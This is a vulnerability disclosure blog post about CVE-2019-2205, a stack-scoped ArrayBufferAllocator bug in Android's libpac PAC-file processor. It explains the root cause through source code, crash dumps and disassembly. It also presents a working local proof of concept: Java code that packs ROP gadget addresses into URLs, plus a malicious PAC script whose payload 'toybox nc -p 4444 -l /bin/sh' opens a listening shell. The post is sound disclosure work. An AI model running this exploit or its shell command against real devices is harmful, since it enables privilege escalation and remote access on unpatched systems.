Introduction

In the course of performing Android application security testing at NowSecure, I investigated how Android applications read the system proxy information. I was especially interested in how Android parsed Proxy Auto-Configuration (PAC) files. I discovered that Android uses a library based on Chromium project code called libpac, which uses the statically linked V8 JS engine to parse the JavaScript. This opens up a huge attack surface against a platform app.

I suspected that the version of V8 used might be vulnerable to a recent exploit. It turns out that the PacProcessor service which uses libpac did crash. However, this wasn’t caused by an issue within V8 but instead was due to a problem with allocations of ArrayBuffers within the context of the JS function FindProxyForUrl. I discovered this crash was an exploitable overwrite of a VPTR on the stack, caused by an improper declaration of the ArrayBuffer allocator.

Although I couldn’t find a reliable way to exploit the bug remotely, I created a local proof of concept (PoC) which uses a malicious app to invoke the PAC script with the URLs necessary to trigger the exploit. This vulnerability has been assigned CVE-2019-2205.

Google was quick to respond to the vulnerability. The company verified it after two days and fixed it well within the 90-day disclosure limit. The fix was deployed as part of the 2019-11-01 security bulletin. We recommend all Android users apply this update to secure their devices against exploitation.

Timeline

  • July 2019 – Discovered vulnerability and began development of PoC
  • Aug 21, 2019 – Reported vulnerability to Google
  • Aug 23, 2019 – Google confirmed the vulnerability using the provided PoC and labeled its severity as Critical
  • Nov 1, 2019 – Google marked the vulnerability as fixed as part of the 11/01 security bulletin

Background

In order to understand this vulnerability, it is helpful to know a bit about Proxy Auto-Configuration. They are Javascript files that allow a user to have more sophisticated control over which proxies are used for which connections. Implementation differs between vendors but every script needs to have a function FindProxyForUrl which takes the url and host as arguments and returns a string list of proxies delimited by semicolons. They also generally provide a function to resolve hostnames from ip addresses and vice versa. However for the purposes of this vulnerability only FindProxyForUrl will be relevant. The PAC settings are set in Android by going to the current wifi network, editing the advanced settings, and selecting “Proxy Auto-Config” in the proxy dropdown.

 

PAC files have been the target of a number of exploits due to the large attack surface they provide, as well as the ability to exploit the issues remotely through man-in-the-middle attacks or using Web Proxy Auto Discovery (WPAD) which allows hosts to automatically discover and enable PAC files on the local network. Fortunately for security but unfortunately for the coolness of this exploit, WPAD is not a feature on Android.

Investigation

I found the vulnerability itself manually due to its simplicity, but I used a few tools and tricks to investigate it. The simplest trick is the fact that alert can be called from within the PAC script and the message will come up in logcat like

10-30 12:05:23.996 20191 20310 D PacProcessor: Alert: Hello from the PAC script

This was actually incredibly helpful since it is often unclear when the script is running and where it is running from. The reason for this is that apps like Chrome (as well as any built with Chromium) use a different implementation in the Chromium project to parse the PAC file themselves. This implementation is not subject to the same vulnerability described here as it correctly initializes the ArrayBufferAllocator.

Another tool that was helpful when exploring the vulnerability was a Frida script I wrote to directly call setCurrentProxyScript by hooking com.android.pacprocessor and creating an instance of PacNative. This was incredibly helpful since manually changing the PAC URL every time I wanted to change the script was time consuming and often the pacprocessor service would not start correctly after multiple crashes. This script is included in the tarball of the PoC included with this post.

Another tool I used was r2frida, a radare2 plugin to attach to processes on a mobile device over USB using Frida. This was important during the exploit development stage when I was trying to find gadgets and prevent crashes.

Vulnerability

As stated above, this vulnerability occurs because of the improper initialization of an object that provides methods for ArrayBuffer objects in V8. Specifically, the vulnerability is due to the use of automatic storage of the instance of ArrayBufferAllocator on the stack on line 770 of proxy_resolver_v8.cc in the chromium-libpac library.

int ProxyResolverV8::SetPacScript(const std::u16string& script_data) {
  if (context_ != NULL) {
    delete context_;
    context_ = NULL;
  }
  if (script_data.length() == 0)
    return ERR_PAC_SCRIPT_FAILED;
  // Use the built-in locale-aware definitions instead of the ones provided by
  // ICU. This makes things like String.prototype.toUpperCase() not be
  // undefined.
  // Disable JIT
  static const char kNoIcuCaseMapping[] = "--no-icu_case_mapping --no-opt";
  v8::V8::SetFlagsFromString(kNoIcuCaseMapping, strlen(kNoIcuCaseMapping));
  // Try parsing the PAC script.
  ArrayBufferAllocator allocator;
  v8::Isolate::CreateParams create_params;
  create_params.array_buffer_allocator = &allocator;
  context_ = new Context(js_bindings_, error_listener_, v8::Isolate::New(create_params));
  int rv;
  if ((rv = context_->InitV8(script_data)) != OK) {
    context_ = NULL;
  }
  if (rv != OK)
    context_ = NULL;
  return rv;
}

Applications and libraries that embed V8 are responsible for supplying an object implementing methods to allocate and free memory for use when new ArrayBuffer(size) is called from Javascript. This is the role played by the ArrayBufferAllocator instance allocator in the above code. In the context of a script that runs once and is not used again this declaration would have sufficed. This is not the case for libpac.

This declaration of allocator stores the object on the stack and it is therefore only valid until the end of this block, which returns when the script context has been initialized. In subsequent calls the VPTR (the pointer to the object’s vtable) is overwritten by local variables in other stack frames. However, a reference to the allocator remains as part of the V8 context. It is used when ArrayBuffer objects are allocated (hence the name) within the parsed JS code. This leads to a crash when an expression like new ArrayBuffer(1) is called from within the context of FindProxyForURL, like in the minimal PoC PAC file below:

 
function FindProxyForURL() {
    new ArrayBuffer(1);
}

FindProxyForURL executes after the vptr has been overwritten since it is called after the return of the block where the V8 instance is initialized. It happens that the vptr of the allocator instance is consistently overwritten by a pointer to the std::u16string containing the URL passed to ResolveProxy. All of the above can be seen in the following crash dump which results from setting the above crash PoC as the PAC file (this crash dump is from a Pixel 3a device of slightly older build).

07-15 18:13:12.807 18174 18174 F DEBUG : Build fingerprint: 'google/sargo/sargo:9/PD2A.190115.032/5340326:user/release-keys'
07-15 18:13:12.807 18174 18174 F DEBUG : Revision: 'MP1.0'
07-15 18:13:12.807 18174 18174 F DEBUG : ABI: 'arm64'
07-15 18:13:12.807 18174 18174 F DEBUG : pid: 13791, tid: 18171, name: Thread-2 >>> com.android.pacprocessor <<<
07-15 18:13:12.807 18174 18174 F DEBUG : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x2e007700770077
07-15 18:13:12.808 18174 18174 F DEBUG : x0 00000077afed0950 x1 0000000000000001 x2 0000000002000000 x3 0000000000000001
07-15 18:13:12.808 18174 18174 F DEBUG : x4 0000000000000000 x5 00000077af683751 x6 000000003136caf8 x7 00000077afed0478
07-15 18:13:12.808 18174 18174 F DEBUG : x8 00000077afed0950 x9 002e007700770077 x10 0000000000000040 x11 0000000000000040
07-15 18:13:12.808 18174 18174 F DEBUG : x12 00000077af8d4a29 x13 0000000000000000 x14 0000000000000000 x15 0000000000111008
07-15 18:13:12.808 18174 18174 F DEBUG : x16 000000003f5ac9a0 x17 000000003f6a3101 x18 0000000000000001 x19 0000000000000000
07-15 18:13:12.808 18174 18174 F DEBUG : x20 0000000000000001 x21 00000077c85f5dc0 x22 00000077be642068 x23 00000077afed2588
07-15 18:13:12.808 18174 18174 F DEBUG : x24 00000077be643ff0 x25 00000077be642060 x26 00000077c85f5e08 x27 0000000031319a89
07-15 18:13:12.808 18174 18174 F DEBUG : x28 00000077afed0450 x29 00000077afed03e0
07-15 18:13:12.808 18174 18174 F DEBUG : sp 00000077afed03c0 lr 0000007791e83e78 pc 002e007700770077
07-15 18:13:12.879 18174 18174 F DEBUG :
07-15 18:13:12.879 18174 18174 F DEBUG : backtrace:
07-15 18:13:12.879 18174 18174 F DEBUG : #00 pc 002e007700770077
07-15 18:13:12.879 18174 18174 F DEBUG : #01 pc 00000000002ece74 /system/lib64/libpac.so (v8::internal::JSArrayBuffer::SetupAllocatingData(v8::internal::Handle, v8::internal::Isolate*, unsigned long, bool, v8::internal::SharedFlag)+80)
07-15 18:13:12.879 18174 18174 F DEBUG : #02 pc 00000000004789ec /system/lib64/libpac.so (v8::internal::Builtin_Impl_ArrayBufferConstructor_ConstructStub(v8::internal::BuiltinArguments, v8::internal::Isolate*)+436)
07-15 18:13:12.879 18174 18174 F DEBUG : #03 pc 0000000000028a24

The backtrace shows that v8::internal::JSArrayBuffer::SetupAllocatingData is the function before the corrupted pc address. This function is responsible for calling the Allocate virtual function found within the ArrayBufferAllocator instance. This function is defined in the declaration of ArrayBufferAllocator in proxy_resolver_v8.cc

class ArrayBufferAllocator : public v8::ArrayBuffer::Allocator {
  public:
   virtual void* Allocate(size_t length) {
     void* data = AllocateUninitialized(length);
     return data == NULL ? data : memset(data, 0, length);
   }
   virtual void* AllocateUninitialized(size_t length) { return malloc(length); }
   virtual void Free(void* data, size_t) { free(data); }
};

Additionally the value of the register pc is 0x002e007700770077 which is the utf16 string “www.” demonstrating that the url has taken the place of the vtable. To more closely see what is happening, I hooked v8::internal::JSArrayBuffer::SetupAllocatingData and discovered the VPTR could be found at [x1+0x5ae8] by analyzing the function in radare2.

; CALL XREFS from fcn.00378614 @ 0x379c88, 0x37a518
; CALL XREF from fcn.00478838 @ 0x4789ec
0x002ece24      f657bda9       stp x22, x21, [sp, -0x30]!
0x002ece28      f44f01a9       stp x20, x19, [sp + var_10h]
0x002ece2c      fd7b02a9       stp x29, x30, [sp, 0x20]
0x002ece30      fd830091       add x29, sp, 0x20
0x002ece34      f303042a       mov w19, w4                 ; arg5
0x002ece38      f50301aa       mov x21, x1                 ; arg2
0x002ece3c      f40302aa       mov x20, x2                 ; arg3
0x002ece40      a8766df9       ldr x8, [x21, 0x5ae8]       ; [0x5ae8:4]=-1
0x002ece44      f60300aa       mov x22, x0                 ; arg1
0x002ece48      680300b4       cbz x8, 0x2eceb4
0x002ece4c      b40000b4       cbz x20, 0x2ece60
0x002ece50      090140f9       ldr x9, [x8]
0x002ece54      a3000036       tbz w3, 0, 0x2ece68
0x002ece58      290940f9       ldr x9, [x9, 0x10]          ; d8
0x002ece5c      04000014       b 0x2ece6c
; CODE XREF from fcn.002ecc44 @ 0x2ece4c
0x002ece60      e3031faa       mov x3, xzr
0x002ece64      07000014       b 0x2ece80
; CODE XREF from fcn.002ecc44 @ 0x2ece54
0x002ece68      290d40f9       ldr x9, [x9, 0x18]          ; [0x18:4]=-1 ; 24
CODE XREF from fcn.002ecc44 @ 0x2ece5c
0x002ece6c      e00308aa       mov x0, x8
0x002ece70      e10314aa       mov x1, x20
0x002ece74      20013fd6       blr x9

By dumping out the memory at this location before the call to FindProxyForURL and after, we can see the pointer get overwritten. This can be done by hooking SetupAllocatingData and run a script like below

new ArrayBuffer(0);
function FindProxyForURL(url, host) {
new ArrayBuffer(0);
} 

Here 0 is used as the size to prevent the crash since the function returns before jumping to the corrupted pointer. During initialization of the script the first line is called and the VPTR and vtable are both intact

7814d5c530 88 be 49 18 78 00 00 00 00 00 00 00 00 00 00 00 ..I.x........... // [x1+0x5ae8] VPTR

781849be88 5c 95 d0 17 78 00 00 00 30 96 d0 17 78 00 00 00 \...x...0...x...
781849be98 60 96 d0 17 78 00 00 00 a4 96 d0 17 78 00 00 00 `...x.......x... // vtable entries
781849bea8 ac 96 d0 17 78 00 00 00 00 00 00 00 00 00 00 00 ....x...........

The address here is 0x781849be88 which points to the vtable in /system/lib64/libpac.so as can be seen when getting the range information from Frida. However, here we can also see that this value is stored on the stack as sp is 0x7814d5c030 when SetupAllocatingData is called, and the address where the VPTR is stored is 0x7814d5c530. After the call to FindProxyForURL the hook is hit a second time and the VPTR looks like

7814d5c530 08 25 84 16 78 00 00 00 3f 97 ea 94 77 de a3 d5 .%..x...?...w… // [x1+0x5ae8] VPTR

7816842508 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 58 58 h.t.t.p.:././.XX
7816842518 58 58 58 58 58 58 00 00 00 00 00 00 00 00 00 00 XXXXXX.......... // “vtable” entries
7816842528 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

Here we can see that the VPTR has been overwritten by a pointer to the utf16 URL string, making the URL bytes effectively the new vtable, and overwriting the function pointers to the Allocate and Free methods.

This corruption is exploitable because an attacker, especially one which already controls the PAC script, has the ability to manipulate what urls are passed to this function, and can conditionally trigger the call to the ArrayBuffer functions based on whether the URL matches an appropriate exploit string. This is accomplished in the PoC described after this next section, which details some hurdles to exploiting the vulnerability.

Obstacles to Exploitation

There are some constraints that make the exploitation of the vulnerability difficult even after an attacker controlled PAC URL is set as the proxy handler. In order to remotely exploit the vulnerability an attacker would either need to leak an address to executable memory or spray the heap sufficiently to ensure that attacker controlled bytes are executed.

Even if an address leak were to occur there is an additional difficulty as the URL must be a valid Java URI and the host characters must also be valid in order for the URL to reach ResolveProxy from PacProxySelector. With this limited set of characters and the fact that the string is utf16, it severely limits the values of pointers that can be packed into the url. However, it is possible to evade these restrictions by passing a url with a username:password part like http://x:[email protected] Alternatively almost any wide characters can also exist in the URL in the path section after the host and port. These are valid URIs and can be passed through ProxySelector, though with the restriction that they still cannot contain wide nulls (\u0000).

In realistic scenarios on ARM64 existing executable memory addresses will always have null bytes as the most significant two bytes, which means that jumping into executable memory will be difficult. One possibility would be to simply send a short URL like http://[email protected] This significantly limits where the executable memory can exist as the address must have the form 0x000000XX002AYYZZ. However, as the attacker has control of the whole v8 heap and can potentially spray executable memory through WebAssembly (JIT compilation is turned off by the –no-opt flag in the excerpt above) it is by no means impossible for this vulnerability to be remotely exploited in this way. As noted above one can also put the addresses in the path part of the URL. However given that the URL must begin with http:// and the host cannot be empty, it is not possible to overwrite the Allocate function pointer place. In this case one would need to use the Free pointer overwrite to jump to an arbitrary place in memory. However this still would require leaking an address and the gadgets would be more complicated as it will not be possible to write an arbitrary value into a register using a fake “size” in a call to Allocate.

One thing to note is that even a simple ret gadget would give the attacker a powerful read and write primitive since this could return to the attacker an ArrayBuffer of unlimited size that can read and write any values using the normal DataView methods. Another boon for the attacker is the fact that PacProcessor will restart after a crash, giving an attacker many chances to execute an exploit that may not be perfectly reliable.

PoC Exploit

The PoC below does not attempt to exploit the vulnerability remotely. Instead it uses a malicious app along with a malicious PAC script to demonstrate that code execution is possible, and constitutes an elevation of privileges as the app has no permissions and gains the INTERNET permissions associated with PacProcessor. To launch the exploit run poc.py which hosts the malicious PAC file and app. You can then download and install the app and set the PAC url to http://:5000/poc.pac. Next launch the PacTest app and the exploit should execute.

The malicious app reads the addresses of libc and libart from /proc/self/maps in order to calculate the addresses of the ROP gadgets described below. Due to the way apps are forked from the zygote, com.android.pacprocessor will have these libraries mapped to the same addresses as the malicious app. It then packs the addresses into URLs which it passes directly to the resolvePacFile method of PacNative, which is resolved through reflection. The exploit is broken into two stages, which respectively call the overwritten Allocate and Free function pointers. The relevant code is below:

long ldr_x0 = libc_addr+0x000a37ecL;
long mov_x0_x1 = libart_addr-0x27000L+0x0031a728L;
long system = libc_addr+0x6deb4L;
...
// overwrite Allocate with first gadget
URL uri = new URL("http://x" + pack(ldr_x0) + ":[email protected]"+Long.toHexString(system));
mProxyService.resolvePacFile(uri.getHost(), uri.toString());

// overwrite Free (next addr in vtable) with second gadget
uri = new URL("http://xYYYYYYYY" + pack(mov_x0_x1) + ":[email protected]");
mProxyService.resolvePacFile(uri.getHost(), uri.toString());

Meanwhile the malicious PAC file contains

//var command = "log \"exploit user: $(id)\"\n";
var command = "toybox nc -p 4444 -l /bin/sh"; // shell listens on port 4444

function FindProxyForURL (url, host) {
    alert(url);
    alert(host);

    // split into stages makes exploit easier / more reliable though it is not strictly necessary
    if (host.includes("stage1")) {
        var system_addr = parseInt(host.split("-")[1], 16); // get system() addr from hostname
        this.x = new ArrayBuffer(system_addr); // set it as size to be used in blr x2 instruction later
        this.v = new DataView(this.x); // dataview of buffer lets us write mem into [x0]
    }
    else if (host.includes("stage2")) {
        strToBuf(command, this.v); // write command into the memory of previous url

        this.x = null; // remove refs
        this.v = null; // remove refs

        gc(); // trigger garbage collection to call overwritten free()
    }

    alert("done");
    return "DIRECT";
}

function strToBuf (str, buf) {
    for (i = 0; i < str.length; i++) {
        buf.setUint8(i, str.charCodeAt(i));
    }
    buf.setUint8(i + 1, 0);
}

function gc () {
    for (i = 0; i < 1000; i++) {
        new Array(0x1000);
    }
}

The PAC file waits for hosts that contain stage1 and stage2 before triggering the overwritten functions of the allocator. In the first stage a gadget performing

0x000a37ec: ldr x0, [x0]; ret

Is used to overwrite Allocate which will return the address of the url instead of a valid malloced heap address when new ArrayBuffer(size) is called. The address of system is also passed as part of the host string. It is used as the size of the allocated ArrayBuffer, and will be used in the second stage when the overwritten Free is called. The second stage overwrites the Free function pointer in the vtable with the gadget

0x0031a728: mov x0, x1; mov w1, w8; br x2;

When free is called on the previously “allocated” ArrayBuffer the address and “size” of the buffer are in registers x1 and x2 respectively. The PAC script writes a command into the address in x1 and the gadget moves this into x0 before branching to x2 which contains the address of system, effectively calling system(command). The provided command spawns a shell listening on port 4444. Connecting to the port with netcat and entering “id” yields “uid=10091(u0_a91) gid=10091(u0_a91) groups=10091(u0_a91),3003(inet),9997(everybody),20091(u0_a91_cache),50091(all_a91) context=u:r:platform_app:s0:c512,c768” the id of the PacProcessor service.

Impact

This vulnerability potentially affects any user that uses PAC scripts, and could result in remote code execution. Additionally, Android versions below 8.0 may enable apps to set the system proxy settings, which would allow a malicious app to exploit the vulnerability without the user needing to manually set a PAC URL. Google has rated this vulnerability “Critical” base on its Android Security severity assessment matrix.

In order to exploit this vuln on the latest Android on ARM64 devices, an attacker must control the PAC file URL. This can be done by either convincing a user to use an attacker controlled PAC URL or by intercepting an insecure HTTP request for a legitimate PAC file. As users sometimes share PAC files online for the purpose of ad blocking, both of these scenarios are plausible. Top Google results for ad-blocking PAC files largely consist of http links.

Conclusion

I want to thank Google for quickly working with the NowSecure team to verify the vulnerability and work us through the bug bounty process. We appreciate the speed at which it resolved the problem.

Those who wish to strengthen and scale their mobile application security programs should consult our guide to the Mobile Security Project from OWASP. And to stay abreast of new security issues and vulnerabilities, subscribe to our “All Things Mobile App DevSecOps” newsletter.

What to read next:

Austin Emmitt

linkedin icon twitter icon

Mobile Security Researcher

Austin Emmitt is a Mobile Security Researcher at Nowsecure. He enjoys bugfinding but not bughunting so he spends most of his time automating security tasks.